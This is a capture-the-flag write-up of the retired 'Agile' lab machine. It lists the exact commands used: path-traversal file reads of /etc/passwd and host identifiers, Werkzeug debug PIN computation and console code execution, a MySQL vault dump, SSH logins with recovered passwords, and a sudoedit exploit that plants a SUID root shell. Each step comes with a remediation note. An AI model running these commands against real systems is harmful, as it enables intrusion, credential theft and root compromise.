Agile
Summary
I mapped the '[REDACTED: recovered credential]' password-manager web app to the vhost superpass.htb and found that self-registration could trigger an unhandled server error, exposing Werkzeug's interactive debug console. Because the debugger's PIN protection derives from host facts, an authenticated arbitrary-file-read flaw in the app's own /download endpoint was abused to read exactly those facts (NIC MAC address, machine-id, cgroup path), letting me compute the debug PIN and unlock a full Python console running as the web server user.
From there, I queried the backend MySQL database directly and found the app's own password vault stored user credentials in plaintext, including working SSH passwords for two Linux accounts. One account's SSH access yielded the user flag; the second account's sudo rights, combined with a known vulnerability in its outdated sudo version, allowed me to hijack a script sourced by root to plant a SUID root shell — completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p- $TARGETcurl -ksS -L --max-time 15 -D - http://$TARGET/echo "$TARGET superpass.htb" | sudo tee -a /etc/hostsExact commands 5
curl --resolve superpass.htb:80:$TARGET -sS -i -c cj -b cj -X POST http://superpass.htb/account/register --data 'username=pentester&password=<chosen-password>'curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../etc/passwd'curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../sys/class/net/eth0/address'curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../etc/machine-id'curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../proc/self/cgroup'FixFix the arbitrary file-read in the /download endpointHigh
Exact commands 4
curl --resolve superpass.htb:80:$TARGET -sS -i -c cj -b cj -X POST http://superpass.htb/account/register --data 'username=codex0903&password=[REDACTED: recovered credential]'python3 werkzeug_pin_exploit.py --username www-data --app-name wsgi --mac <eth0_mac_int> --machine-id <machine-id> --cgroup system.slice/superpass.servicecurl --resolve superpass.htb:80:$TARGET -sS -c cj -b cj 'http://superpass.htb/account/register?__debugger__=yes&cmd=pinauth&pin=[REDACTED: recovered credential]&s=[REDACTED: recovered credential]'curl --resolve superpass.htb:80:$TARGET -sS -b cj -G http://superpass.htb/account/register --data-urlencode __debugger__=yes --data-urlencode 'cmd=__import__("subprocess").check_output(["id"])' --data-urlencode frm=<frame_id> --data-urlencode s=[REDACTED: recovered credential]FixDisable the Werkzeug interactive debugger in productionCritical
Exact commands 1
curl --resolve superpass.htb:80:$TARGET -sS -b cj -G http://superpass.htb/account/register --data-urlencode __debugger__=yes --data-urlencode "cmd=(c:=__import__('pymysql').connect(unix_socket='/var/run/mysqld/mysqld.sock',user='superpassuser',password='[REDACTED: recovered credential]',database='superpass').cursor(),c.execute('SELECT * FROM passwords'),c.fetchall())" --data-urlencode frm=<frame_id> --data-urlencode s=[REDACTED: recovered credential]FixEncrypt stored vault passwords and restrict database credential exposureHigh
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no corum@$TARGET idsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no corum@$TARGET 'cat /home/corum/user.txt'FixEliminate password reuse between the application vault and system accountsMedium
Exact commands 5
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET 'sudo -l; sudo --version | head -1'sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET "EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json"# In the opened vim session, append: cp /bin/bash /tmp/x; chmod u+s /tmp/xsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET "/tmp/x -p -c 'id'"sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET "/tmp/x -p -c 'cat /root/root.txt'"FixPatch sudo and tighten the sudoedit delegation for edwardsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |